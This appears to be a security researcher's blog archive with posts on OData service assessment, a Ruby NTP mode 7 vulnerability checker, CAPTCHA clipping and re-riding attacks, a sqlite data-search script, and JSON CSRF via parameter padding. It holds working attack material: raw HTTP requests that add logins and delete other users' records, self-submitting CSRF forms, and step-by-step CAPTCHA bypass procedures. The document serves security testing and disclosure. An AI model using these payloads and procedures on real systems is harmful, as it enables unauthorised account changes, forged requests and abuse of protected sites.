Wednesday, February 27, 2013

Evaluating OData Applications


I was recently evaluating a SaaS provider's OData application, evaluating how its endpoint client application communicated via OData to its backed servers. The client application allowed SaaS consumers to schedule critical computation functions, download the results, and perform additional actions using OData’s RESTful operations.

This blog post aims provide an overview of the OData assessment methodology and also discusses a few interesting findings identified with respect to the specific OData implementation tested.


Understanding Our Target
The first step of any assessment is gain an understanding of how the application functions. Particularly with OData applications, you’ll want to explore all available functionality, monitor its communication using Fiddler, then map out the RESTful operations and the URIs accessed for all the available functionality. Once this is done, you should have an understanding of the application as well as its OData requests and responses. The specific application we were targeting only had one user role so we could test only for horizontal privilege escalation if the Service Metadata Document review did not reveal additional functionality or features.

Looking at the RESTful operations you should be able to determine the Service Root URI and the Service Metadata Document URI. For the application we were targeting, we leveraged these new URIs to perform the following:


  1. We accessed the Service Root URI and it showed several Feeds that were never referred by the thick client. A win? Not until we are able to really access real data.
  2. Next we used Oyedata to perform automated analysis of the OData service (Service Metadata Document) and then exported the fuzzing templates to a text file to be used with the Burp suite for testing. The target OData service did not support JSON format and Oyedata’s ability to generate fuzzing templates in both JSON and XML formats came in as a life saver.
  3. We also downloaded the Service Metadata Document locally for manual analysis.
As a result of all of these steps we discovered several additional Feeds and functionalities that the thick client did not use. Interesting, huh? Let’s move on to the assessment phase.


Oyedata
OyeData is a tool I wrote to help with OData assessments and is pretty much required. If you're unfamiliar with the tool, check out the video:




Assessment
Now that you fully understand the application and have a good idea of what on the server side is available, you can being to think about available attack vectors. Given what was available for our application, we proceeded to the attack phase with the following:


  1. Check for Horizontal Privilege Escalation.
  2. Identify what data/functionality was available through the additional Feeds discovered.
  3. Attempt RESTful operations that were not utilized by the thick client and shown to exist via automated Oyedata analysis. Oyedata’s data generator also helped by generating random sample data, especially for cryptic data types like Edm.DateTime and Edm.DateTimeOffset.

A Few Interesting Findings
After exhausting our attack vectors (plus a few extra from our methodology) we found some interesting findings. Here are some of them. We modified/obfuscated the output a bit as we’re still awaiting remediation confirmation from the vendor. 

Passwords were Stored in Clear and exposed via Feeds
The OData web service exposed username and passwords of all users via its Users feed. This finding highlights two important concerns:

  1. The affected feed had mis-configured access control that allowed access to the Users table.
  2. The database had user passwords in clear.



Privilege Escalation

The thick client did not offer any functionality to add, update or remove new users. The user role we had did not offer it either. However, it was possible to add new logins with privileges of our user account by sending the following RESTful (POST request generated using Oyedata) to the OData service. It was also possible to update or delete other users with the test user account we had.

 POST /XXXXXService.svc/RemoteLogins HTTP/1.1
 Host: www.vulnerablehost.com:8011
 Accept: application/atom+xml,application/atomsvc+xml,application/xml
 Content-Type: application/atom+xml
 Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop


 <?xml version="1.0" encoding="utf-8"?>
 <entry xmlns="http://www.w3.org/2005/Atom" xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata" xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
   <content type="application/xml">
    <m:properties>
      <d:GroupId>4</d:GroupId>
      <d:RemoteServerId>1</d:RemoteServerId>
      <d:Login>newuser</d:Login>
      <d:Password>newpassword </d:Password>
    </m:properties>
  </content>
 </entry>





The application also allowed us to download results for other user’s submission’s and was found to be vulnerable to several instances of both Horizontal and Vertical Privilege attacks.

Application Logic Bypass

The client application did not provide any functionality to overwrite or delete past computation submissions however we were able to by abusing the OData web service since it was insecurely configured and allowed updates via PUT method. The previous submissions could also be deleted by issuing the following request. Here the value ‘100’ indicates the submission ID.

 DELETE /XXXXService.svc/Submissions(100) HTTP/1.1
 Host: www.vulnerablehost.com:8011
 Accept: application/atom+xml,application/atomsvc+xml,application/xml
 Content-Type: application/atom+xml
 Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop




Conclusion

OData is a new protocol that attempts to be the JDBC/ODBC for the internet and provide a new dimension to data access. Organizations that plan to implement OData should strive to learn more about this wonderful new protocol, the security risks involved and secure it as part of the deployment process.

Saturday, October 6, 2012

Verifying NTP Reserved Mode Denial of Service Vulnerability

I recently needed to check a NTP Reserved Mode Denial of Service vulnerability CVE-2009-3563, but without causing the DoS condition on the production server.  Using Metasploit’s auxillary module auxiliary/dos/ntp/ntpd_reserved_dowas not an option so I wrote my own Ruby script to assess the remote server. This script verifies the returned UDP packet content to determine presence of vulnerability and is shared below.


#Author: Gursev Singh Kalra  
require 'socket'
TIMEOUT = 5 

if(ARGV.count != 1)
 puts "[-] Target host not provided. Usage: ntp.rb <target_server>"
 exit
end

target_server = ARGV[0]
target_port = 123

socket = nil
response = nil

begin
 test_string = "\x97\x00\x00\x00\xAA\x00\x00\x00"
 socket = UDPSocket.open
 socket.send(test_string, 0, target_server, target_port)
 if select([socket], nil, nil, TIMEOUT)
  response = socket.recvfrom(10)
 end
rescue (IOError ex)
 puts ex.to_s
ensure
 socket.close if(socket)
end

if(response && response[0].index("\x97\x00\x00\x00"))
 puts "[+] Vulnerable to NTP Mode 7 Request Denial Of Service"
else
 puts "[-] Not vulnerable to NTP Mode 7 Request Denial Of Service "
end

Figure 1: Image shows request capture in wireshark

Figure 2: Image shows response capture in wireshark

Figure 3: Image shows script in action

Tuesday, October 2, 2012

Bypassing CAPTCHAs by Impersonating CAPTCHA Providers



CAPTCHA service providers validate millions of CAPTCHAs each day and protect thousands of websites against the bots. A secure CAPTCHA generation and validation ecosystem forms the basis of the mutual trust model between the CAPTCHA provider and the consumer. A variety of damage can occur if any component of this ecosystem is compromised.

During Analysis of the CAPTCHA integration libraries provided by several CAPTCHA providers (including reCAPTCHA) revealed that almost all of the CAPTCHA verification API’s relied on plain text HTTP protocol to perform CAPTCHA validation. Because of this, the CAPTCHA provider’s identity was not validated, message authentication checks were not performed and the entire CAPTCHA validation was performed on an unencrypted channel. This vulnerability was also reported to reCAPTCHA team several months back. 

If you decompile the .NET Plugin, you'll be able to pull out reCAPTCHA's verification URL, which demonstrates the absense of HTTPS:




In the current scenario, two types of attacks can be launched against vulnerable CAPTCHA implementations. These attacks are based on the assumption that an attacker is able to intercept the CAPTCHA validation traffic between target website and the CAPTCHA provider.


Private Key Compromise
Most of CAPTCHA providers issue private and public keys to identify a particular consumer and to enforce an upper limit on the number of CAPTCHAs used by them. Private keys are often sent over to the CAPTCHA provider during the CAPTCHA validation process. If the public and private keys are sent using plain text HTTP, an attacker could sniff the private keys and:

Use the CAPTCHA service for without registering for the service by using the captured keys.
Exhaust the target web site’s CAPTCHA quota for the service, which depending on the CAPTCHA provider may cause a wide variety of unexpected issues.


The CAPTCHA Clipping Attack
The following image describes what I call the "CAPTCHA Clipping Attack". Notice that steps 5 and 6 in blue would be the normal operation of events. We'll go into the attack in a little more detail below.



Since the website’s application server acts as a client to CAPTCHA provider during steps 5 and 6 (in blue) and the application server often neglects to validate the CAPTCHA provider’s identity and the session integrity checks, an attacker may be able to impersonate the CAPTCHA provider and undermine the anti-automation protection (steps 5 and 6 in red). CAPTCHA validation responses are mostly Boolean (true or false, success or failure, pass or fail, 0 or 1). The response format and its contents are also publicly available as part of CAPTCHA provider’s API documentation. This allows an attacker to easily construct the finite set of possible responses, impersonate the CAPTCHA provider, and perform malicious CAPTCHA validation for the application servers. 

To exploit this vulnerability an attacker performs the following:

  1. The attacker acts as a legitimate application user and submits a large number of requests to the web application.
  2. At the same time, he/she intercepts CAPTCHA validation requests, masquerades as the CAPTCHA provider and approves all submitted requests.

Masquerading as the CAPTCHA provider and not forwarding the CAPTCHA validation requests to the actual CAPTCHA provider is the CAPTCHA Clipping Attack.

clipcaptcha
clipcaptcha is a proof of concept exploitation tool that specifically targets the vulnerabilities discussed above and allows complete bypass of CAPTCHA provider protection. clipcaptcha is built on the sslstrip codebase and has the following features:

  1. Performs signature based CAPTCHA provider detection and clipping.
  2. Can be easily extended to masquerade as any CAPTCHA provider by adding corresponding signatures to the configuration XML file.
  3. Has built in signatures of several CAPTCHA providers including reCAPTCHA, OpenCAPTCHA, Captchator etc…
  4. Logs POST requests that match any supported CAPTCHA provider to capture private and public keys. Unmatched requests are forwarded as is.
  5. clipcaptcha supports five operational modes. These are “monitor”, “stealth”, “avalanche”, “denial of service” and “random”.



Download
clipcaptcha can be downloaded here 

This blog post is a copy of my original post here

Oct 7, 2012 Update: 
The complete whitepaper is available for download from here.



Tuesday, June 12, 2012

Oyedata for OData Security Assessments


The Open Data Protocol (OData) is an open web protocol for querying and updating data. OData enables the creation of HTTP based RESTful  data services that can be used to publish and edit resources with simple HTTP messages.  OData is intended to be used to expose and access information from a variety of sources including relational databases, file systems, content management systems, and traditional web sites. It allows a consumer to query a data source over HTTP protocol and get results back in formats like Atom, JSON or plain XML. OData can be termed as JDBC/ODBC for the internet.

The protocol is relatively new and is being adopted by many major software manufacturers such as Microsoft, IBM, and SAP but hasn’t been publically explored in terms of security. As more applications, websites, and frameworks support OData, a larger attack surface becomes available to attackers.

Oyedata is a new tool to perform black-box OData security testing and help secure OData deployments. I wrote Oyedata from a penetration testing perspective and its the major features are summarized below:
1.     Intuitive GUI based tool written in C#.
2.     Ability to create attack templates from local and remote Service Documents and Service Metadata Documents.
3.     Support for XML and JSON data formats.
4.     Ability to export attack templates in JSON and XML formats that can be fed to custom Fuzzing code.
5.     Ability to engage the OData services for manual testing.
6.     Data generator for EDMSimpleType test data generation.
7.     Ability to generate “Read URIs” for Entities, Entity Properties and Entity Property Values.
8.     Ability to generate attack templates for Creation of new Entries, updating existing Entries, Service Operation invocation, Entry deletion etc…
9.     Ability to identify Keys, Nullable and Non-Nullable Properties and indicate the same in the attack templates.
10.  Web proxy, HTTP and HTTPS support and Error logging.


Image shows Oyedata retrieving an OData Service Metadata document 


Image shows various Create, Read, Delete and Update operations of the “Categories” Feed along with the supported Service Operation nodes

The tool is now available for download from McAfee website from this URL. Please send in your suggestions and feedback.

Friday, March 2, 2012

CAPTCHA Re-Riding Attack


CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the web applications. The attack exploits the fact that the code that verifies CAPTCHA solutions sent by the user during form submissions does not clear the CAPTCHA solution from the HTTP Session. 

Impact: A large number of successful submissions on CAPTCHA protected pages by riding on a single CAPTCHA solution. 

A typical scenario to demonstrate the vulnerability is explained below. 
1.       A user visits register page of the website.
2.       The website creates an HTTP session, assigns it a SESSIONID and returns the register page to the user along with the SESSIONID cookie. The register page also contains one image tag which directs the browser to retrieve a CAPTCHA and display it on screen.
3.       Upon parsing the image tag, the browser sends out request for the CAPTCHA.
4.       The server side code creates a new CAPTCHA with random text and CAPTCHA solution is stored in the HTTP session.
5.       CAPTCHA image is then sent to the client and is then displayed by the browser.
6.       Browser sends CAPTCHA solution along with form fields for verification.
7.       Server side code retrieves CAPTCHA solution from the HTTP Session and verifies it against the solution provided by the client.
8.       If verification is successful, client is sent to next logical step in the registration process. If not, client is redirected to the register page (step 1 above).


Figure 1: Image shows an example Register page that supports CAPTCHA

Analysis of the CAPTCHA generation and verification process reveals the following:
  1. The captcha.php is the only page responsible for updating the HTTP session with correct CAPCHA solution. The first ingredient.
  2. CAPTCHA solution inside the HTTP session is not explicitly cleared during the verification process. Yes, you guess it right. This is the second and the most important ingredient for CAPTCHA Re-Riding Attacks.
  3. When registration fails (for any reason), the web applications continue to use the same HTTP session and SESSIONID. We will not look into this further.
  4. When registration succeeds, the user is redirected to next step and the CAPTCHA generation page (/captcha.php) is not likely to be called for current SESSION again.  This allows the CAPTCHA solution to stay in the HTTP store for as long as SESSION is valid. Following are the likely scenarios to be seen when CAPTCHA verification is successful.
    1. The web application generates a new SESSIONID for the same HTTP session for known security reasons. This implementation is most likely to be seen. Combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack.
    2. The web application continues to use the same SESSIONID for the same HTTP session.  Here we have more things to worry than just the CAPTCHA. For now, combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack again.
    3. The web application generates a completely new HTTP session with new or same SESSIONID. For CAPTCHA Re-riding Attack, this scenario is not exploitable.

For scenarios 4.a and 4.b, the HTTP Session continues to hold the CAPTCHA solution as it is not explicitly cleared by the CAPTCHA verification code. Since /captcha.php is not going to be called again (and we will not let the call happen anyway), the same CAPTCHA solution continues to exist in HTTP session. Let us now see how 4.a & 4.b scenarios above can be exploited to make multiple successful submissions using a CAPTCHA solution.


Exploiting Scenario 4.b:
1.       Load the register page of the target website in a web browser.
2.       Solve the CAPTCHA manually, and submit the form.
3.       Record this form submission using a web proxy. This request contains a valid SESSIONID, valid form fields and a valid CAPTCHA solution.
4.       Create a custom script or use any tool like Burp intruder that can repeatedly send this request to server. With each request change the unique values (like User ID) to create multiple new accounts with a single CAPTCHA solution.

Exploiting Scenario 4.a:
1.       Load the register page of the target website in a web browser.
2.       Solve the CAPTCHA manually, and submit the form.
3.       To make things easy, trap this request in a web proxy and do not allow it to reach the web server. This request contains a valid SESSIONID, valid form fields and a valid CAPTCHA solution.
4.       Create a custom script or use any tool like Burp intruder that can repeatedly send this request to server.
5.       Submit one request.
6.       Upon successful submission, the web application will reset the current SESSIONID and send new SESSIONID back in response headers.
7.       Change the value of SESSIONID in recorded request (step 3) to the value copied from response in Step 6 above.
8.       Go to step 5.
9.     We will be able to make multiple successful submissions with single CAPTCHA solution.

Using one time tokens along with CAPTCHAs on the register pages may still be exploitable with a few additional lines of attack code. The best defense is to reset CAPTCHA solution inside the HTTP session during the CAPTCHA verification stage. It is also important to note that when a website relies on third party CAPTCHA  provider it does not maintain any session information at its end and CAPTCHA is performed by the CAPTCHA provider and these websites are not vulnerable to CAPTCHA Re-Riding Attack.

Saturday, February 25, 2012

Sqlitespy for Sqlite Database analysis

Sqlite is the ubiquitous database for mobile applications on iPad, iPhone and Android. It is also used by certain internet browsers, web application frameworks and software products for their local storage needs. While doing penetration tests, we often see sensitive information like usernames, passwords, account numbers, SSN etc… insecurely stored in these databases. Thus, every penetration test requires comprehensive analysis of the local databases being used.


While analyzing databases, a penetration tester repeatedly does the following:
  1. Opens the database in sqlite reader (sqlite3 or other readers)
  2. Views various tables and columns to understand database layout and schema.
  3. Analyzes the storage for sensitive information.
As the number and size of database increases, the analysis time increases exponentially. To escape the recurring pain, I wrote a ruby script to automate this process. The script achieves the following:
  1. Analyzes multiple databases in a single run.
  2. Queries and displays database schema.
  3. Provides an option to run search on Table and Column Names for quick analysis.
  4. Performs case-insensitive regular expression search (default). This can be controlled with command line options to one’s requirements.
  5. Displays Database, Tables and Row Number reference for every successful match.
  6. Dumps database rows on a successful match.
  7. Looks for search strings in the following:
    • Table Name
    • Column Names
    • Actual Data
Sqlitespy dependencies are listed below:
  1. Ruby
  2. Sequel Gem
  3. Sqlite3



Figure 1: Image shows sqlitespy help


Figure 2: Image shows sqlite sample run with multiple search strings and row information dump for a successful match


Figure 3: Image shows sqlitespy sample run with minimal information


Figure 4: Image shows sqlite database schema dump

Sqlitespy Code Follows:

 #Author: Gursev Singh Kalra  
 require 'rubygems'  
 require 'optparse'  
 require 'ostruct'  
 require 'sequel'  
   
   
 class CmdLineOptions  
   
  def self.parse(args)  
   options = OpenStruct.new  
   options.dbs = []  
   options.sstrings = []  
   options.show_schema = false  
   options.case_sensitive = false  
   options.exact = false  
   options.verbose = false  
   options.rowdump = false  
   options.metadata = false  
   
   opts = OptionParser.new do |opts|  
   opts.banner = "Usage: sqlitespy.rb [options]\n\nSpecific Options:"  
   
   opts.on("-d", "--database DATABASE_PATH",  
    "Sqlite database to analyze.") do |db|  
    options.dbs << db  
   end  
   
   opts.on("-s", "--show-schema", "Show database schema") do |show|  
    options.show_schema = show;  
   end  
   
   opts.on("--find x,y,z", Array, "Strings to search") do |list|  
    options.sstrings = list  
   end  
   
   opts.on("-c", "--case-sensitive", "Perform case sensitive search. Default is case insensitive.") do |case_sensitive|  
    options.case_sensitive = case_sensitive;  
   end  
   
   opts.on("-e", "--exact--match", "Perform exact match for the search strings") do |v|  
    options.exact = v;  
   end  
   
   opts.on("-r", "--row-dump", "Dump Database Row when a match is found") do |v|  
    options.rowdump = v;  
   end  
   
   opts.on("-m", "--metadata", "Look for search strings only in DB metadata (table and column names)") do |v|  
    options.metadata = v;  
   end  
   
   opts.on("-v", "--verbose", "Verbose output") do |v|  
    options.verbose = v;  
   end  
   
   opts.on_tail("-h", "--help", "Show this message") do  
    puts opts  
    exit  
   end  
   
   end  
   
   opts.parse!(args)  
    options  
   end# parse()  
   
 end# class CmdLineOptions  
   
 options = nil  
   
 begin  
  options = CmdLineOptions.parse(ARGV)  
 rescue (OptionParser::InvalidOption)  
  $stderr.puts "[-] Invalid option "  
  options = CmdLineOptions.parse(ARGV+["-h"])  
 end  
   
 if(options.dbs.length == 0)  
  $stderr.puts "[-] No Database available. Exiting !!"  
  exit  
 end  
   
 dbs = []  
 options.dbs.uniq!  
   
 dbs = options.dbs.collect do |db|  
  begin  
   throw Errno::ENOENT unless(File.file?(db))  
   Sequel.sqlite(db).tables  
   db  
  rescue  
   $stderr.puts "[-] \"#{db}\" is not a sqlite database"  
   nil  
  end  
 end  
   
 options.dbs = dbs.compact  
   
 if(options.dbs.length == 0)  
  $stderr.puts "[-] No Database available. Exiting."  
  exit  
 end  
   
 options.sstrings.uniq!  
   
 if(options.show_schema)  
   
  puts  
  puts "+"*80  
  puts "Database Schemas"  
  puts "+"*80  
   
  options.dbs.each do |db|  
   puts  
   puts "[DATABASE] #{db}"  
   Sequel.sqlite(db) do |dbhandle|  
    dbhandle.tables.each do |table|  
     puts "\t[TABLE] #{table}"  
     puts "\t\t[COLUMNS] #{dbhandle[table.to_sym].columns.join(', ')}"  
    end  
   end  
  end  
   
  puts "-"*80  
   
 end  
   
 regex_strings = []  
 regex_strings = options.sstrings.collect do |search|  
   
  regexstr = ""  
  regex = nil  
  if(options.exact)  
   regexstr = "^#{search}$"  
  else  
   regexstr = "#{search}"  
  end  
   
  if(options.case_sensitive)  
   regex = Regexp.new("#{regexstr}")  
  else  
   regex = Regexp.new("#{regexstr}", Regexp::IGNORECASE)  
  end  
  regex  
   
 end  
   
 options.sstrings = regex_strings  
   
 options.dbs.each do |database|  
   
  if(options.verbose)  
   puts  
   puts "+"*80  
   puts "Analyzing Database '#{database}'"  
   puts "+"*80  
  end  
   
  Sequel.sqlite(database) do |databasehandle|  
   databasehandle.tables.each do |table|  
    if(options.verbose)  
     puts  
     puts "-"*80  
     puts "Analyzing Table '#{table}'"  
     puts "-"*80  
    end  
   
    options.sstrings.each do |regex|  
     if(regex.match(table.to_s))  
      puts "[+] Table Name Match Found -> Database '#{database}' -> TABLE '#{table}'"  
     end  
    end  
   
    #Column Name Search  
    databasehandle[table.to_sym].columns.each do |column_name|  
     options.sstrings.each do |regex|  
      if(regex.match(column_name.to_s))  
       puts "[+] Column Name Match Found -> Database '#{database}' -> TABLE '#{table}' -> COLUMN '#{column_name}'"  
      end  
     end  
    end  
   
    #Data Search  
    if(options.sstrings.length > 0 && !options.metadata)  
     row = 0  
     databasehandle[table].each do |rowHash|  
      row = row + 1  
      rowHash.each do |key, value|  
       options.sstrings.each do |regex|  
        if(regex.match(value.to_s))  
         puts "[+] Data Match Found -> Database '#{database}' -> TABLE '#{table}', COLUMN '#{key}' -> ROW '#{row}'"  
         puts "\t[*] Row Dump\t=>\t#{rowHash.values.join('|')}" if(options.rowdump)  
        end  
       end  
      end  
     end  
    end  
   end  
  end  
 end  

Thursday, December 22, 2011

JSON CSRF with Parameter Padding


JavaScript Object Notation (JSON) format is one of the prominent data exchange formats of the contemporary web applications. When a web application implements JSON, Cross Site Request Forgery (CSRF) payload delivery gets bit tricky because of query string and JSON format mismatch. With couple of tricks however, we can successfully execute CSRF attacks with JSON payloads.

Let’s assume that the browser sends the following JSON to the web server.
{"a":1,"b":{"c":3}}

Scenario 1: One of the mechanisms to execute JSON CSRF is to use the entire JSON payload as parameter name in a self submitting form. For example, loading the HTML code below and clicking the submit button sends malicious JSON to the web server:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}}' type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 2, the enctype form attribute is set to text/plain so that the JSON gets delivered as is. The enctype attribute may not be required, but is good to have. At line# 3, entire JSON payload is provided as a parameter name. When the form gets posted, the payload is delivered and CSRF executes.

Image below shows JSON payload delivery with the technique described above.














This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.

Scenario 2: JSON Parameter Padding to the rescue
In scenario 1, the trailing ‘=’ character may ruin the party when server side JSON parsers enforce strict parsing rules. To overcome this, an additional parameter can be padded towards the end of JSON payload to send a well formed JSON. Similar to GET & POST parameter processing, JSON parsers will successfully parse the JSON, pick the required parameters and ignore the extraneous ones. This allows a successful CSRF attack against vulnerable web applications. 

Below, the HTML code in scenario 1 is modified to add an extraneous parameter to the JSON payload:
  1. <html>
  2. <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>


At line# 3, the component in red is the original JSON and the blue component helps add the extraneous parameter to the JSON payload. The screenshot below shows the JSON payload delivered when the above HTML is executed. The ignore_me parameter absorbs the trailing '=' character and has a value "=test". 

The end result, successful server side JSON Parsing and CSRF goodness :)

Image shows a well formed JSON sent using parameter padding

It is important to note that the discussed attack vectors may not work if the server validates the “Content-Type” request header to represent a JSON payload.